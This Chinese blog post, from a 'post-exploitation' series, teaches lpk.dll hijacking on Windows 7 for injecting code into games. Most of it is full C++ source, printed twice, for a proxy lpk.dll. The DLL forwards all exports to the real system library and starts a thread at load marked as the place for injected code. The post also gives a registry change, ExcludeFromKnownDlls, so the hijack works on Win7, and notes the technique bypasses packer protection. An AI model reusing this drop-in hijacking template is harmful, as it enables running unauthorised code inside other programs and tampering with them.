后渗透篇:劫持技术(lpk.dll劫持游戏注入【Win7 实例】)


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


 

 lpk.dll劫持游戏注入

      由于 输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索 DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在 Windows系统目录中查找,最后是在 环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的 输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。

利用这种方法取得控制权后,可以对主程序进行补丁。此种方法只对除kernel32.dll、ntdll.dll等核心系统库以外的DLL有效,如网络应用程序的 ws2_32.dll、游戏程序中的 d3d8.dll,还有大部分应用程序都调用的lpk.dll、 sxs.dll,这些DLL都可被劫持。

伪造的dll制作好后,放到程序当前目录下,这样当原程序调用 原函数时就调用了伪造的dll的同名函数,进入劫持DLL的代码,处理完毕后,再调用原DLL此函数。

这种补丁技术,对 加壳保护的软件很有效,选择挂接的函数最好是 在壳中没有被调用的,当挂接函数被执行时,相关的代码已被解压,可以直接补丁了。在有些情况下,必须用计数器统计挂接的函数的调用次数来接近OEP。此方法巧妙地绕过了壳的复杂检测,很适合加壳程序的补丁制作。

一些木马或病毒也会利用DLL劫持技术搞破坏,因此当在应用程序目录下发现系统一些 DLL文件存在时,如lpk.dll,应引起注意。

 

在本次中,我们将要利用这个技术来实现对游戏窗口进行注入,有很多方法都可以实现,比如劫持lpk.dll ,或者是d3d8thk.dll等都可以实现。

下面首先以lpk.dll为例来进行说明


 
   
   
   
   
  1. // 导出函数
  2. #pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")
  3. #pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")
  4. #pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")
  5. #pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")
  6. //#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5")
  7. #pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")
  8. #pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")
  9. #pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")
  10. #pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")
  11. #pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")
  12. #pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")

首先是对lpk动态链接库中的函数进行导出


 
   
   
   
   
  1. // 宏定义
  2. #define EXTERNC extern "C"
  3. #define NAKED __declspec(naked)
  4. #define EXPORT __declspec(dllexport)
  5. #define ALCPP EXPORT NAKED
  6. #define ALSTD EXTERNC EXPORT NAKED void __stdcall
  7. #define ALCFAST EXTERNC EXPORT NAKED void __fastcall
  8. #define ALCDECL EXTERNC NAKED void __cdecl

宏定义,用来指明函数的调用方式等东西


 
   
   
   
   
  1. //LpkEditControl导出的是数组,不是单一的函数(by Backer)
  2. EXTERNC void __cdecl AheadLib_LpkEditControl(void);
  3. EXTERNC __declspec(dllexport) void(*LpkEditControl[14])() = { AheadLib_LpkEditControl };

由于 LpkEditControl中存的是数组数组,所以需要拷贝过来,而不是直接导出


 
   
   
   
   
  1. // AheadLib 命名空间
  2. namespace AheadLib
  3. {
  4. HMODULE m_hModule = NULL; // 原始模块句柄
  5. // 加载原始模块
  6. inline BOOL WINAPI Load()
  7. {
  8. TCHAR tzPath[MAX_PATH];
  9. TCHAR tzTemp[MAX_PATH * 2];
  10. GetSystemDirectory(tzPath, MAX_PATH);
  11. //MessageBox(NULL, tzPath, "path", MB_OK);
  12. //GetCurrentDirectory(MAX_PATH, tzPath);
  13. lstrcat(tzPath, TEXT( "\\lpk.dll"));
  14. m_hModule = LoadLibrary(tzPath);
  15. if (m_hModule == NULL)
  16. {
  17. wsprintf(tzTemp, TEXT( "无法加载 %s,程序无法正常运行。"), tzPath);
  18. MessageBox( NULL, tzTemp, TEXT( "AheadLib"), MB_ICONSTOP);
  19. };
  20. //MessageBox(NULL, "原始模块加载成功", TEXT("AheadLib"), MB_ICONSTOP);
  21. return (m_hModule != NULL);
  22. }
  23. // 释放原始模块
  24. inline VOID WINAPI Free()
  25. {
  26. if (m_hModule)
  27. {
  28. FreeLibrary(m_hModule);
  29. }
  30. }
  31. // 获取原始函数地址
  32. FARPROC WINAPI GetAddress(PCSTR pszProcName)
  33. {
  34. FARPROC fpAddress;
  35. CHAR szProcName[ 16];
  36. TCHAR tzTemp[MAX_PATH];
  37. fpAddress = GetProcAddress(m_hModule, pszProcName);
  38. if (fpAddress == NULL)
  39. {
  40. if (HIWORD(pszProcName) == 0)
  41. {
  42. wsprintf(szProcName, "%d", pszProcName);
  43. pszProcName = szProcName;
  44. }
  45. wsprintf(tzTemp, TEXT( "无法找到函数 %hs,程序无法正常运行。"), pszProcName);
  46. MessageBox( NULL, tzTemp, TEXT( "AheadLib"), MB_ICONSTOP);
  47. ExitProcess( -2);
  48. }
  49. return fpAddress;
  50. }
  51. }
  52. 下面就是我们要实现dll注入的地方,一般的dll注入都是在这存入关键代码
  53. //函数声明
  54. void WINAPIV Init(LPVOID pParam);
  55. void WINAPIV Init(LPVOID pParam)
  56. {
  57. //在这里添加DLL加载代码
  58. // LoadLibrary(TEXT(".\\MFC_DLL.dll"));
  59. MessageBox( NULL, "lpkdll劫持成功", "lpkk劫持", MB_OK);
  60. return;
  61. }

下面是入口函数:


 
   
   
   
   
  1. // 入口函数
  2. BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
  3. {
  4. if (dwReason == DLL_PROCESS_ATTACH)
  5. {
  6. DisableThreadLibraryCalls(hModule);
  7. if (Load())
  8. {
  9. //LpkEditControl这个数组有14个成员,必须将其复制过来
  10. memcpy((LPVOID)(LpkEditControl + 1), (LPVOID)(( int*)GetAddress( "LpkEditControl") + 1), 52);
  11. _beginthread(Init, NULL, NULL);
  12. }
  13. else{
  14. // MessageBox(NULL, "初始化失败", "123 ERROR", MB_ICONSTOP);
  15. return FALSE;
  16. }
  17. }
  18. else if (dwReason == DLL_PROCESS_DETACH)
  19. {
  20. Free();
  21. }
  22. return TRUE;
  23. }
  24. 然后是函数导出:
  25. // 导出函数
  26. ALCDECL AheadLib_LpkInitialize( void)
  27. {
  28. GetAddress( "LpkInitialize");
  29. __ asm JMP EAX;
  30. }
  31. // 导出函数
  32. ALCDECL AheadLib_LpkTabbedTextOut( void)
  33. {
  34. GetAddress( "LpkTabbedTextOut");
  35. __ asm JMP EAX;
  36. }
  37. // 导出函数
  38. ALCDECL AheadLib_LpkDllInitialize( void)
  39. {
  40. GetAddress( "LpkDllInitialize");
  41. __ asm JMP EAX;
  42. }
  43. // 导出函数
  44. ALCDECL AheadLib_LpkDrawTextEx( void)
  45. {
  46. GetAddress( "LpkDrawTextEx");
  47. __ asm JMP EAX;
  48. }
  49. // 导出函数
  50. ALCDECL AheadLib_LpkEditControl( void)
  51. {
  52. GetAddress( "LpkEditControl");
  53. __ asm jmp DWORD ptr[EAX]; //这里的LpkEditControl是数组,eax存的是函数指针
  54. }
  55. // 导出函数
  56. ALCDECL AheadLib_LpkExtTextOut( void)
  57. {
  58. GetAddress( "LpkExtTextOut");
  59. __ asm JMP EAX;
  60. }
  61. // 导出函数
  62. ALCDECL AheadLib_LpkGetCharacterPlacement( void)
  63. {
  64. GetAddress( "LpkGetCharacterPlacement");
  65. __ asm JMP EAX;
  66. }
  67. // 导出函数
  68. ALCDECL AheadLib_LpkGetTextExtentExPoint( void)
  69. {
  70. GetAddress( "LpkGetTextExtentExPoint");
  71. __ asm JMP EAX;
  72. }
  73. // 导出函数
  74. ALCDECL AheadLib_LpkPSMTextOut( void)
  75. {
  76. GetAddress( "LpkPSMTextOut");
  77. __ asm JMP EAX;
  78. }
  79. // 导出函数
  80. ALCDECL AheadLib_LpkUseGDIWidthCache( void)
  81. {
  82. GetAddress( "LpkUseGDIWidthCache");
  83. __ asm JMP EAX;
  84. }
  85. // 导出函数
  86. ALCDECL AheadLib_ftsWordBreak( void)
  87. {
  88. GetAddress( "ftsWordBreak");
  89. __ asm JMP EAX;
  90. }

函数导出的目的就是让当前dll跳转到系统下的lpk.dll目录下执行相应的函数。这样就实现了先执行自己的伪造的lpk.dll(在其中完成代码的注入等一系列功能),然后在跳转到正常的lpk.dll函数中,就完成了lpk.dll的劫持

最后就是兼容win7,就需要在注册表中添加一个多字节剂的命令 ExcludeFromKnownDlls ,其中的值为 lpk.dll 就可以实现lpk.dll的劫持了

 

具体源码如下:


 
   
   
   
   
  1. // lpk.cpp : Defines the entry point for the DLL application.
  2. //
  3. // 头文件
  4. #include "stdafx.h"
  5. #include
  6. #include
  7. // 导出函数
  8. #pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")
  9. #pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")
  10. #pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")
  11. #pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")
  12. //#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5")
  13. #pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")
  14. #pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")
  15. #pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")
  16. #pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")
  17. #pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")
  18. #pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")
  19. // 宏定义
  20. #define EXTERNC extern "C"
  21. #define NAKED __declspec(naked)
  22. #define EXPORT __declspec(dllexport)
  23. #define ALCPP EXPORT NAKED
  24. #define ALSTD EXTERNC EXPORT NAKED void __stdcall
  25. #define ALCFAST EXTERNC EXPORT NAKED void __fastcall
  26. #define ALCDECL EXTERNC NAKED void __cdecl
  27. //LpkEditControl导出的是数组,不是单一的函数(by Backer)
  28. EXTERNC void __ cdecl AheadLib_LpkEditControl(void);
  29. EXTERNC __declspec(dllexport) void(*LpkEditControl[ 14])() = { AheadLib_LpkEditControl };
  30. //添加全局变量
  31. // AheadLib 命名空间
  32. namespace AheadLib
  33. {
  34. HMODULE m_hModule = NULL; // 原始模块句柄
  35. // 加载原始模块
  36. inline BOOL WINAPI Load()
  37. {
  38. TCHAR tzPath[MAX_PATH];
  39. TCHAR tzTemp[MAX_PATH * 2];
  40. GetSystemDirectory(tzPath, MAX_PATH);
  41. //MessageBox(NULL, tzPath, "path", MB_OK);
  42. //GetCurrentDirectory(MAX_PATH, tzPath);
  43. lstrcat(tzPath, TEXT( "\\lpk.dll"));
  44. m_hModule = LoadLibrary(tzPath);
  45. if (m_hModule == NULL)
  46. {
  47. wsprintf(tzTemp, TEXT( "无法加载 %s,程序无法正常运行。"), tzPath);
  48. MessageBox( NULL, tzTemp, TEXT( "AheadLib"), MB_ICONSTOP);
  49. };
  50. //MessageBox(NULL, "原始模块加载成功", TEXT("AheadLib"), MB_ICONSTOP);
  51. return (m_hModule != NULL);
  52. }
  53. // 释放原始模块
  54. inline VOID WINAPI Free()
  55. {
  56. if (m_hModule)
  57. {
  58. FreeLibrary(m_hModule);
  59. }
  60. }
  61. // 获取原始函数地址
  62. FARPROC WINAPI GetAddress(PCSTR pszProcName)
  63. {
  64. FARPROC fpAddress;
  65. CHAR szProcName[ 16];
  66. TCHAR tzTemp[MAX_PATH];
  67. fpAddress = GetProcAddress(m_hModule, pszProcName);
  68. if (fpAddress == NULL)
  69. {
  70. if (HIWORD(pszProcName) == 0)
  71. {
  72. wsprintf(szProcName, "%d", pszProcName);
  73. pszProcName = szProcName;
  74. }
  75. wsprintf(tzTemp, TEXT( "无法找到函数 %hs,程序无法正常运行。"), pszProcName);
  76. MessageBox( NULL, tzTemp, TEXT( "AheadLib"), MB_ICONSTOP);
  77. ExitProcess( -2);
  78. }
  79. return fpAddress;
  80. }
  81. }
  82. using namespace AheadLib;
  83. //函数声明
  84. void WINAPIV Init(LPVOID pParam);
  85. void WINAPIV Init(LPVOID pParam)
  86. {
  87. //在这里添加DLL加载代码
  88. // LoadLibrary(TEXT(".\\MFC_DLL.dll"));
  89. MessageBox( NULL, "lpkdll劫持成功", "lpkk劫持", MB_OK);
  90. return;
  91. }
  92. // 入口函数
  93. BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
  94. {
  95. if (dwReason == DLL_PROCESS_ATTACH)
  96. {
  97. DisableThreadLibraryCalls(hModule);
  98. if (Load())
  99. {
  100. //LpkEditControl这个数组有14个成员,必须将其复制过来
  101. memcpy((LPVOID)(LpkEditControl + 1), (LPVOID)(( int*)GetAddress( "LpkEditControl") + 1), 52);
  102. _beginthread(Init, NULL, NULL);
  103. }
  104. else{
  105. // MessageBox(NULL, "初始化失败", "123 ERROR", MB_ICONSTOP);
  106. return FALSE;
  107. }
  108. }
  109. else if (dwReason == DLL_PROCESS_DETACH)
  110. {
  111. Free();
  112. }
  113. return TRUE;
  114. }
  115. // 导出函数
  116. ALCDECL AheadLib_LpkInitialize(void)
  117. {
  118. GetAddress( "LpkInitialize");
  119. __asm JMP EAX;
  120. }
  121. // 导出函数
  122. ALCDECL AheadLib_LpkTabbedTextOut(void)
  123. {
  124. GetAddress( "LpkTabbedTextOut");
  125. __asm JMP EAX;
  126. }
  127. // 导出函数
  128. ALCDECL AheadLib_LpkDllInitialize(void)
  129. {
  130. GetAddress( "LpkDllInitialize");
  131. __asm JMP EAX;
  132. }
  133. // 导出函数
  134. ALCDECL AheadLib_LpkDrawTextEx(void)
  135. {
  136. GetAddress( "LpkDrawTextEx");
  137. __asm JMP EAX;
  138. }
  139. // 导出函数
  140. ALCDECL AheadLib_LpkEditControl(void)
  141. {
  142. GetAddress( "LpkEditControl");
  143. __asm jmp DWORD ptr[EAX]; //这里的LpkEditControl是数组,eax存的是函数指针
  144. }
  145. // 导出函数
  146. ALCDECL AheadLib_LpkExtTextOut(void)
  147. {
  148. GetAddress( "LpkExtTextOut");
  149. __asm JMP EAX;
  150. }
  151. // 导出函数
  152. ALCDECL AheadLib_LpkGetCharacterPlacement(void)
  153. {
  154. GetAddress( "LpkGetCharacterPlacement");
  155. __asm JMP EAX;
  156. }
  157. // 导出函数
  158. ALCDECL AheadLib_LpkGetTextExtentExPoint(void)
  159. {
  160. GetAddress( "LpkGetTextExtentExPoint");
  161. __asm JMP EAX;
  162. }
  163. // 导出函数
  164. ALCDECL AheadLib_LpkPSMTextOut(void)
  165. {
  166. GetAddress( "LpkPSMTextOut");
  167. __asm JMP EAX;
  168. }
  169. // 导出函数
  170. ALCDECL AheadLib_LpkUseGDIWidthCache(void)
  171. {
  172. GetAddress( "LpkUseGDIWidthCache");
  173. __asm JMP EAX;
  174. }
  175. // 导出函数
  176. ALCDECL AheadLib_ftsWordBreak(void)
  177. {
  178. GetAddress( "ftsWordBreak");
  179. __asm JMP EAX;
  180. }

参考链接:

               https://blog.csdn.net/u011619422/article/details/47002145

 


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


 

你可能感兴趣的:(后渗透篇:劫持技术(lpk.dll劫持游戏注入【Win7 实例】))